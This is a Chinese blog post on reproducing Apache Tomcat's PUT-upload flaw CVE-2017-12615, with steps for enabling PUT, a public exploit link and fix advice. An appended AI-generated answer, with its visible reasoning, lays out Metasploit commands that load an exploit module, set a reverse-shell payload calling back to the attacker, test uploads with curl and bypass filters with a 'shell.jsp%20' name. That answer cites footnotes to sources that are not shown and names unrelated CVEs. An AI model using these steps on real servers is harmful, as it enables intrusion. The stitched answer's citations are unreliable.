Tomcat的PUT的上传漏洞(CVE-2017-12615)

本文详细介绍了Apache Tomcat中间件的七大高危漏洞,包括弱口令上传、PUT上传、反序列化等,并提供了CVE-2017-12615的复现步骤及修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

近期在项目中碰到的ApacheTomcat中间件愈来愈多,于是乎。想着做一个整理。将ApacheTomcat中间件的几大较为重要的高危漏洞做一个总结整理复现。用作来巩固更新自己的知识库。

首先我们先来了解以下Tomcat的概念:

Tomcat是我们在工作中所使用的一款开源轻量级的Web应用程序服务器。通常情况下在中小型系统或者并发量较小的场合下使用,常用来与JSP和PHP脚本结合使来解析脚本语言部署搭建网站等系统。

在这里我们将Tomcat的几大高危漏洞整理至以下:

1、Tomcat后台弱口令上传war包

2、Tomcat的PUT的上传漏洞(CVE-2017-12615)

3、Tomcat反序列化漏洞(CVE-2016-8735)

4、Tomcat之JMX服务弱口令漏洞

5、Tomcat 样例目录session操控漏洞

6、Tomcat本地提权漏洞(CVE-2016-1240)

7、Tomcat win版默认空口令漏洞(CVE-2009-3548)

接着上一篇的弱口令上传war包getsehll后(Tomcat后台弱口令上传war包漏洞复现),我们再来看第二篇put方法的上传漏洞之getshell。

漏洞详情:

可以看到17年时官方爆出Tomcat的CVE-2017-12615漏洞。说的就是ApacheTomcat服务组件中开启了http的Put方法所造成的攻击者可以利用该方法任意上传jsp木马所造成的远程代码执行漏洞。该漏洞所影响的版本从ApacheTomcat7.0.0-7.0.79

漏洞所需环境:

Tomcat7.0.79(开启Put方法)

JDK1.8.0

看到有朋友留言说是找不到tomcat的复现环境包。在这里写下我的方法。

直接在搜索引擎搜索“tomcat indexof”去检索tomcat的官方文件镜像站点,在里面下载。其他的一些类似的struts等资源也是同理搜索。总而言之,就是善用googlehack语法。

下载好环境包并且搭建好之后我们就可以着手复现了。

这里强调一点,windows环境下载源码在bin目录,而Linux环境则在src源代码目录文件中下载。如果需要同时搭建运行多个tomcat版本的化,则需要更改tomcat/conf/server.xml中的三处默认端口。

1、第22行:

<Serverport="8005" shutdown="SHUTDOWN">

8005为tomcat的远程停止服务的端口。

2、第71-73行:

<Connectorport="8080" protocol="HTTP/1.1"

connectionTimeout="20000" redirectPort="8443" />

8080为Tomcat服务的HTTP协议端口,8443为HTTPS端口

3、第93行:

<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />

8009为Tomcat服务的AJP端口。

如果运行多个版本的tomcat服务则需要针对每个版本的这三个端口进行修改。修改8005以及8080/8443和8099为其他没被占用的端口。以及不同版本的Tomcat需要不同的JDK来进行运行。

搭建好之后我们需要先进行设置一下在HTTP请求中开启Put方法。在conf/web.xml文件中将readonly初始化参数由默认值设置为false。即可成功开启Put方法。

根据上图注释信息我们可以得知默认情况下是禁止http请求中的上传(PUT)和删除(DELETE)方法的。在这里我们在配置文件给他加入这样一行。开启他的PUT方法。

<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

设置完成后,即可重启tomcat服务,来转包利用PUT方法上传木马。我们先来测试一下:

上传成功。接下来就不言而喻了。

当然,为了方便。一般情况下我们直接使用EXP快速利用。在这里贴上Bearcat师傅的CVE-2017-12615的EXP下载地址。https://github.com/iBearcat/CVE-2017-12615

修复方案:

1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat

注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。 

2、根据官方补丁升级最新版本

<think>好的,我现在需要帮用户查找关于如何使用Metasploit Framework(MSF)对CVE-2017-12615漏洞进行渗透测试的方法。首先,我需要确认CVE-2017-12615是什么漏洞。根据记忆,这是一个Apache Tomcat的远程代码执行漏洞,影响版本是Tomcat 7.0.0到7.0.79,当启用HTTP PUT方法时,攻击者可以上传恶意JSP文件,导致远程代码执行。 接下来,用户需要的是利用MSF进行攻击的教程。我记得MSF中有现成的模块可以用来利用这个漏洞。可能需要查找对应的模块名称,比如exploit/multi/http/tomcat_jsp_upload_bypass。然后,用户需要知道如何配置参数,比如设置RHOSTS(目标IP)、RPORT(端口,默认8080)、TARGETURI(路径),以及上传的JSP payload。 另外,用户可能需要生成payload,比如使用msfvenom生成反向shell的JSP文件,或者直接使用MSF内置的payload。需要确保用户了解如何设置监听器,处理防火墙或杀毒软件的问题,以及漏洞利用的前提条件,比如目标服务器是否启用了PUT方法,是否有写权限等。 还需要注意引用相关的资料,比如用户提供的引用中有提到其他CVE的复现,虽然没有直接提到CVE-2017-12615,但可以类比说明使用MSF的一般步骤。例如,引用[1]提到使用模块路径,引用[3]提到MSF的模块使用和启动方式,这些都可以作为参考。 此外,用户可能需要了解如何验证漏洞是否存在,比如手动发送PUT请求测试,或者使用nmap脚本检测。最后,提醒用户遵守法律,仅在授权环境下进行测试,并建议修复方案,比如升级Tomcat版本或禁用PUT方法。 现在需要将这些步骤结构化,用中文清晰回答,确保LaTeX格式正确,生成相关问题,并在适当位置添加引用标记。同时检查是否有遗漏的细节,比如模块的具体配置步骤,常见错误处理等,确保回答准确可靠。</think>### 使用Metasploit Framework (MSF)CVE-2017-12615漏洞的渗透测试方法 CVE-2017-12615Apache Tomcat的一个远程代码执行漏洞,影响Tomcat 7.0.0至7.0.79版本。当服务器配置允许HTTP PUT方法时,攻击者可通过上传恶意JSP文件实现代码执行[^1]。 #### 步骤说明 1. **环境准备** - 确保已安装Metasploit Framework(建议使用Kali Linux或最新版MSF)。 - 启动MSF数据库服务: ```bash msfdb init && msfdb start ``` 2. **查找并加载漏洞模块** ```bash msf6 > search CVE-2017-12615 msf6 > use exploit/multi/http/tomcat_jsp_upload_bypass ``` 3. **配置参数** ```bash msf6 exploit(tomcat_jsp_upload_bypass) > set RHOSTS <目标IP> msf6 exploit(tomcat_jsp_upload_bypass) > set RPORT 8080 # Tomcat默认端口 msf6 exploit(tomcat_jsp_upload_bypass) > set TARGETURI / # 目标路径 msf6 exploit(tomcat_jsp_upload_bypass) > set HttpUsername <用户名> # 若需认证 msf6 exploit(tomcat_jsp_upload_bypass) > set HttpPassword <密码> ``` 4. **选择Payload** ```bash msf6 exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_reverse_tcp msf6 exploit(tomcat_jsp_upload_bypass) > set LHOST <攻击机IP> msf6 exploit(tomcat_jsp_upload_bypass) > set LPORT 4444 ``` 5. **执行攻击** ```bash msf6 exploit(tomcat_jsp_upload_bypass) > exploit ``` #### 关键注意事项 - **漏洞验证**:手动发送PUT请求测试是否允许上传文件: ```bash curl -X PUT http://<目标IP>:8080/test.txt -d "test" ``` - **绕过限制**:通过构造特殊文件名(如`shell.jsp%20`)绕过Tomcat的防护机制。 - **防护措施**:升级Tomcat至7.0.80+或禁用PUT方法(修改`web.xml`配置)[^3]。 #### 引用说明 - 漏洞利用模块路径参考了Metasploit模块管理逻辑[^1]。 - 监听器配置与Payload生成方法类似CVE-2017-8759的HTA脚本利用流程[^2]。 - MSF基础操作(如模块加载、参数设置)参考了永恒之蓝漏洞的复现步骤[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值